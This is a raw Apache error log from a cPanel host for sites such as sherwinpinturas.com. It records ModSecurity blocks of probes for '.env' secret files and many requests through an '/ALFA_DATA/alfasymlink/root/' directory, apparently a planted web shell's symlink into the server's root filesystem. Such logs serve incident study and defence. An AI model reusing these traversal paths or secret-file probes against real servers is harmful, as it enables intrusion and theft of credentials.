[Sun Oct 25 04:33:26.227110 2026] [security2:error] [pid 2762145:tid 2762145] [client 54.156.55.147:34333] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/class/input/event1/subsystem/input0/device/subsystem/devices/PNP0B00:00/physical_node/wakeup/wakeup11/max_time_ms"] [unique_id "at2-1lTnwNJm6o1fQZIjUwAAAAI"]
[Sun Oct 25 04:33:26.227144 2026] [security2:error] [pid 2762145:tid 2762145] [client 54.156.55.147:34333] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/class/input/event1/subsystem/input0/device/subsystem/devices/PNP0B00:00/physical_node/wakeup/wakeup11/max_time_ms"] [unique_id "at2-1lTnwNJm6o1fQZIjUwAAAAI"]
[Sun Oct 25 04:33:34.166436 2026] [ssl:error] [pid 2775684:tid 2775684] (70014)End of file found: [client 52.23.112.144:20050] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 04:33:42.141501 2026] [core:error] [pid 2781507:tid 2781507] (13)Permission denied: [client 44.223.116.180:57979] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:01/subsystem/devices/LNXSYBUS:00/PNP0C0F:04/subsystem/devices/PNP0A03:00/device:17/eject
[Sun Oct 25 04:33:50.148353 2026] [ssl:error] [pid 2781524:tid 2781524] (70014)End of file found: [client 3.94.199.128:3305] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 04:33:51.515760 2026] [authz_core:error] [pid 2795519:tid 2795519] [client 20.194.0.112:10897] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Sun Oct 25 04:33:58.799950 2026] [cgi:error] [pid 2795519:tid 2795519] [client 20.194.0.112:10897] AH02811: stderr from /home/cursodeventas/public_html/cgi-bin: script not found or unable to stat
[Sun Oct 25 04:33:59.732820 2026] [security2:error] [pid 2795519:tid 2795519] [client 20.194.0.112:10897] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/cursodeventas-global": Permission denied [hostname "curso-de-ventas.com"] [uri "/wp-content/admin.php"] [unique_id "at2-9xnFg98qhcJASwXS-QAAAAQ"]
[Sun Oct 25 04:33:59.732860 2026] [security2:error] [pid 2795519:tid 2795519] [client 20.194.0.112:10897] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/cursodeventas-ip": Permission denied [hostname "curso-de-ventas.com"] [uri "/wp-content/admin.php"] [unique_id "at2-9xnFg98qhcJASwXS-QAAAAQ"]
[Sun Oct 25 04:34:18.126707 2026] [ssl:error] [pid 2795520:tid 2795520] (70014)End of file found: [client 18.215.77.19:6317] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 04:34:42.147227 2026] [ssl:error] [pid 2795519:tid 2795519] (70014)End of file found: [client 3.221.244.28:26383] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 04:34:46.151361 2026] [ssl:error] [pid 2775672:tid 2775672] (70014)End of file found: [client 54.210.152.179:60732] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 04:34:50.128750 2026] [ssl:error] [pid 2781030:tid 2781030] (70014)End of file found: [client 18.213.102.186:30289] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 04:34:53.263782 2026] [core:error] [pid 2775684:tid 2775684] (13)Permission denied: [client 185.191.171.18:24184] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/skbuff_fclone_cache/usersize
[Sun Oct 25 04:35:06.268155 2026] [core:error] [pid 2795519:tid 2795519] (13)Permission denied: [client 3.213.46.222:6375] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/class/input/event4/subsystem/input0/event0/device/device/subsystem/drivers/pvpanic/uevent
[Sun Oct 25 04:35:09.482738 2026] [core:error] [pid 2781030:tid 2781030] (13)Permission denied: [client 185.191.171.13:54878] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/dev/char/4:64/io_type
[Sun Oct 25 04:35:10.160445 2026] [ssl:error] [pid 2781523:tid 2781523] (5)Input/output error: [client 52.204.81.148:59275] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 04:35:18.262948 2026] [ssl:error] [pid 2795519:tid 2795519] (5)Input/output error: [client 184.72.84.154:9457] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 04:35:22.207498 2026] [core:error] [pid 2781030:tid 2781030] (13)Permission denied: [client 52.205.113.104:52167] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:07/subsystem/devices/LNXSYBUS:00/ACPI0010:00/LNXCPU:01/physical_node/driver/cpu1/firmware_node/subsystem/drivers/ec/uevent
[Sun Oct 25 04:35:34.249240 2026] [ssl:error] [pid 2781030:tid 2781030] (70014)End of file found: [client 98.83.178.66:6585] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 04:35:38.141509 2026] [ssl:error] [pid 2762145:tid 2762145] (70014)End of file found: [client 18.207.79.144:24781] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 04:35:43.127159 2026] [security2:error] [pid 2775712:tid 2775712] [client 185.191.171.6:31028] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".db"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/home/sherwinpinturas/tmp/webalizer/dns_cache.db"] [unique_id "at2_XwLaiqtlZaJBsx4YYgAAAA0"]
[Sun Oct 25 04:35:43.127628 2026] [security2:error] [pid 2775712:tid 2775712] [client 185.191.171.6:31028] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/home/sherwinpinturas/tmp/webalizer/dns_cache.db"] [unique_id "at2_XwLaiqtlZaJBsx4YYgAAAA0"]
[Sun Oct 25 04:35:43.127987 2026] [security2:error] [pid 2775712:tid 2775712] [client 185.191.171.6:31028] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/home/sherwinpinturas/tmp/webalizer/dns_cache.db"] [unique_id "at2_XwLaiqtlZaJBsx4YYgAAAA0"]
[Sun Oct 25 04:35:43.128037 2026] [security2:error] [pid 2775712:tid 2775712] [client 185.191.171.6:31028] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/home/sherwinpinturas/tmp/webalizer/dns_cache.db"] [unique_id "at2_XwLaiqtlZaJBsx4YYgAAAA0"]
[Sun Oct 25 04:35:43.128057 2026] [security2:error] [pid 2775712:tid 2775712] [client 185.191.171.6:31028] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/home/sherwinpinturas/tmp/webalizer/dns_cache.db"] [unique_id "at2_XwLaiqtlZaJBsx4YYgAAAA0"]
[Sun Oct 25 04:35:49.590854 2026] [security2:error] [pid 2781523:tid 2781523] [client 130.12.180.163:61416] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hosp5.sherwinpinturas.com"] [uri "/.env"] [unique_id "at2_ZdxXWZMI2DaSlsHx2AAAABY"]
[Sun Oct 25 04:35:49.591091 2026] [security2:error] [pid 2781523:tid 2781523] [client 130.12.180.163:61416] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hosp5.sherwinpinturas.com"] [uri "/.env"] [unique_id "at2_ZdxXWZMI2DaSlsHx2AAAABY"]
[Sun Oct 25 04:35:49.591375 2026] [security2:error] [pid 2781523:tid 2781523] [client 130.12.180.163:61416] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hosp5.sherwinpinturas.com"] [uri "/.env"] [unique_id "at2_ZdxXWZMI2DaSlsHx2AAAABY"]
[Sun Oct 25 04:35:54.158206 2026] [ssl:error] [pid 2795520:tid 2795520] (70014)End of file found: [client 54.91.122.193:37343] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 04:35:58.123819 2026] [core:error] [pid 2781524:tid 2781524] (13)Permission denied: [client 52.73.142.41:2486] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/input/input1/event1/subsystem/input3/subsystem/event3/device/device/driver/module/uevent
[Sun Oct 25 04:36:02.244916 2026] [ssl:error] [pid 2781523:tid 2781523] (70014)End of file found: [client 23.21.228.180:10925] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 04:36:10.116978 2026] [ssl:error] [pid 2775712:tid 2775712] (70014)End of file found: [client 100.29.107.38:17468] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 04:36:14.119453 2026] [ssl:error] [pid 2762145:tid 2762145] (70014)End of file found: [client 18.211.148.239:46736] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 04:36:18.128458 2026] [ssl:error] [pid 2781507:tid 2781507] (70014)End of file found: [client 18.211.148.239:29621] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 04:36:22.350214 2026] [ssl:error] [pid 2795520:tid 2795520] (70014)End of file found: [client 3.94.157.25:62987] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 04:36:26.136007 2026] [core:error] [pid 2781524:tid 2781524] (13)Permission denied: [client 100.28.57.133:14164] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:04/subsystem/devices/device:05/subsystem/devices/PNP0A03:00/physical_node/0000:00:04.0/driver/uevent
[Sun Oct 25 04:36:28.954508 2026] [core:error] [pid 2781030:tid 2781030] (13)Permission denied: [client 85.208.96.212:30956] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/dma-kmalloc-512/min_partial
[Sun Oct 25 04:36:38.246681 2026] [ssl:error] [pid 2795519:tid 2795519] (70014)End of file found: [client 52.2.4.213:14055] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 04:36:46.134704 2026] [ssl:error] [pid 2775672:tid 2775672] (70014)End of file found: [client 34.206.212.24:9930] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 04:36:50.137541 2026] [ssl:error] [pid 2775684:tid 2775684] (70014)End of file found: [client 52.2.83.227:7128] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 04:37:10.122140 2026] [ssl:error] [pid 2781524:tid 2781524] (70014)End of file found: [client 44.214.19.8:57781] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 04:37:22.123303 2026] [core:error] [pid 2795520:tid 2795520] (13)Permission denied: [client 34.204.150.196:50216] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/input/input0/subsystem/event0/device/subsystem/input3/device/driver/unbind
[Sun Oct 25 04:37:26.159697 2026] [ssl:error] [pid 2781524:tid 2781524] (70014)End of file found: [client 18.232.11.247:24644] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 04:37:34.141374 2026] [ssl:error] [pid 2775684:tid 2775684] (70014)End of file found: [client 3.225.9.97:24460] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 04:37:42.122546 2026] [ssl:error] [pid 2781523:tid 2781523] (70014)End of file found: [client 100.29.155.89:28585] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 04:37:46.117217 2026] [ssl:error] [pid 2795520:tid 2795520] (5)Input/output error: [client 44.212.131.50:8233] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 04:38:02.137964 2026] [ssl:error] [pid 2762145:tid 2762145] (70014)End of file found: [client 18.206.47.187:18344] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 04:38:06.203411 2026] [core:error] [pid 2781524:tid 2781524] (13)Permission denied: [client 3.221.244.28:45238] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/proc/self/root/sys/class/pci_bus/0000:00/device/firmware_node/device:04/physical_node/subsystem/drivers/virtio-pci/0000:00:05.0/driver/remove_id
[Sun Oct 25 04:38:12.592601 2026] [core:error] [pid 2775672:tid 2775672] (13)Permission denied: [client 85.208.96.210:60638] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/eventpoll_pwq/validate
[Sun Oct 25 04:38:22.463416 2026] [security2:error] [pid 2781507:tid 2781507] [client 23.178.112.212:59687] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "hoteles3.sherwinpinturas.com"] [uri "/.well-known/acme-challenge/U8bT_T28ThOPIhrdKwVFRVzJEUBsuefyQXonIWzMHJg"] [unique_id "at2__p68N771hz7W4Kls8QAAAAw"]
[Sun Oct 25 04:38:22.463453 2026] [security2:error] [pid 2781507:tid 2781507] [client 23.178.112.212:59687] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "hoteles3.sherwinpinturas.com"] [uri "/.well-known/acme-challenge/U8bT_T28ThOPIhrdKwVFRVzJEUBsuefyQXonIWzMHJg"] [unique_id "at2__p68N771hz7W4Kls8QAAAAw"]
[Sun Oct 25 04:38:22.764322 2026] [security2:error] [pid 2781030:tid 2781030] [client 51.20.42.145:28712] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "hoteles3.sherwinpinturas.com"] [uri "/.well-known/acme-challenge/U8bT_T28ThOPIhrdKwVFRVzJEUBsuefyQXonIWzMHJg"] [unique_id "at2__rQKh4dfs72fmHxwpgAAAAE"]
[Sun Oct 25 04:38:22.764371 2026] [security2:error] [pid 2781030:tid 2781030] [client 51.20.42.145:28712] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "hoteles3.sherwinpinturas.com"] [uri "/.well-known/acme-challenge/U8bT_T28ThOPIhrdKwVFRVzJEUBsuefyQXonIWzMHJg"] [unique_id "at2__rQKh4dfs72fmHxwpgAAAAE"]
[Sun Oct 25 04:38:26.163319 2026] [ssl:error] [pid 2775684:tid 2775684] (70014)End of file found: [client 18.211.148.239:55562] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 04:38:41.298000 2026] [proxy_fcgi:error] [pid 2795520:tid 2795520] [client 185.218.86.21:38292] AH01071: Got error 'Primary script unknown'
[Sun Oct 25 04:38:49.737362 2026] [mpm_prefork:notice] [pid 799574:tid 799574] AH00171: Graceful restart requested, doing restart
AH00112: Warning: DocumentRoot [/home/sjerwinpinturas/public_html/sherwinpinturas] does not exist
[Sun Oct 25 04:39:18.435136 2026] [:notice] [pid 799574:tid 799574] mod_ruid2/0.9.8 enabled
[Sun Oct 25 04:39:18.435890 2026] [mpm_prefork:notice] [pid 799574:tid 799574] AH00163: Apache/2.4.69 (cPanel) OpenSSL/1.1.1k mod_bwlimited/1.4 configured -- resuming normal operations
[Sun Oct 25 04:39:18.435904 2026] [core:notice] [pid 799574:tid 799574] AH00094: Command line: '/usr/sbin/httpd'
[Sun Oct 25 04:39:18.473081 2026] [core:error] [pid 2799890:tid 2799890] (13)Permission denied: [client 34.234.197.175:27117] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/devices/pci0000:00/firmware_node/device:15/subsystem/devices/device:02/physical_node/subsystem/drivers/serial/new_id
[Sun Oct 25 04:39:18.493326 2026] [ssl:error] [pid 2799889:tid 2799889] (70014)End of file found: [client 54.84.161.62:2831] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 04:39:25.084450 2026] [core:error] [pid 2799889:tid 2799889] (13)Permission denied: [client 185.191.171.12:14874] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/dma-kmalloc-512/slabs
[Sun Oct 25 04:39:30.814937 2026] [core:error] [pid 2799888:tid 2799888] (13)Permission denied: [client 185.191.171.2:44670] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/ext4_allocation_context/usersize
[Sun Oct 25 04:39:37.068416 2026] [core:error] [pid 2799892:tid 2799892] (13)Permission denied: [client 85.208.96.198:30452] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/bio-248/order
[Sun Oct 25 04:39:40.939771 2026] [security2:error] [pid 2799891:tid 2799891] [client 51.194.86.143:32405] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/.env"] [unique_id "at3ATIaqaT8Mshvt9JBE6gAAAAE"]
[Sun Oct 25 04:39:40.940002 2026] [security2:error] [pid 2799891:tid 2799891] [client 51.194.86.143:32405] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/.env"] [unique_id "at3ATIaqaT8Mshvt9JBE6gAAAAE"]
[Sun Oct 25 04:39:40.940371 2026] [security2:error] [pid 2799891:tid 2799891] [client 51.194.86.143:32405] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/.env"] [unique_id "at3ATIaqaT8Mshvt9JBE6gAAAAE"]
[Sun Oct 25 04:39:41.341007 2026] [security2:error] [pid 2799888:tid 2799888] [client 47.254.122.220:48914] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles4.sherwinpinturas.com"] [uri "/.env"] [unique_id "at3ATYedItUZW7nfb3r0ngAAAAA"]
[Sun Oct 25 04:39:41.341279 2026] [security2:error] [pid 2799888:tid 2799888] [client 47.254.122.220:48914] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles4.sherwinpinturas.com"] [uri "/.env"] [unique_id "at3ATYedItUZW7nfb3r0ngAAAAA"]
[Sun Oct 25 04:39:41.341682 2026] [security2:error] [pid 2799888:tid 2799888] [client 47.254.122.220:48914] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles4.sherwinpinturas.com"] [uri "/.env"] [unique_id "at3ATYedItUZW7nfb3r0ngAAAAA"]
[Sun Oct 25 04:39:42.124324 2026] [ssl:error] [pid 2799890:tid 2799890] (70014)End of file found: [client 54.235.158.162:1834] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 04:39:44.387845 2026] [security2:error] [pid 2799892:tid 2799892] [client 51.194.86.143:7949] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.local"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/.env.local"] [unique_id "at3AUJVuuRM02w6bkBPFRQAAAAM"]
[Sun Oct 25 04:39:44.388173 2026] [security2:error] [pid 2799892:tid 2799892] [client 51.194.86.143:7949] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/.env.local"] [unique_id "at3AUJVuuRM02w6bkBPFRQAAAAM"]
[Sun Oct 25 04:39:44.388477 2026] [security2:error] [pid 2799892:tid 2799892] [client 51.194.86.143:7949] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/.env.local"] [unique_id "at3AUJVuuRM02w6bkBPFRQAAAAM"]
[Sun Oct 25 04:39:44.442456 2026] [security2:error] [pid 2799889:tid 2799889] [client 213.199.47.140:39182] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles4.sherwinpinturas.com"] [uri "/.env"] [unique_id "at3AUAOwaodmA0d5wQ9sNAAAAAU"]
[Sun Oct 25 04:39:44.442782 2026] [security2:error] [pid 2799889:tid 2799889] [client 213.199.47.140:39182] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles4.sherwinpinturas.com"] [uri "/.env"] [unique_id "at3AUAOwaodmA0d5wQ9sNAAAAAU"]
[Sun Oct 25 04:39:44.443065 2026] [security2:error] [pid 2799889:tid 2799889] [client 213.199.47.140:39182] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles4.sherwinpinturas.com"] [uri "/.env"] [unique_id "at3AUAOwaodmA0d5wQ9sNAAAAAU"]
[Sun Oct 25 04:39:46.346441 2026] [core:error] [pid 2799890:tid 2799890] (13)Permission denied: [client 85.208.96.210:11364] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/ext4_system_zone/objects
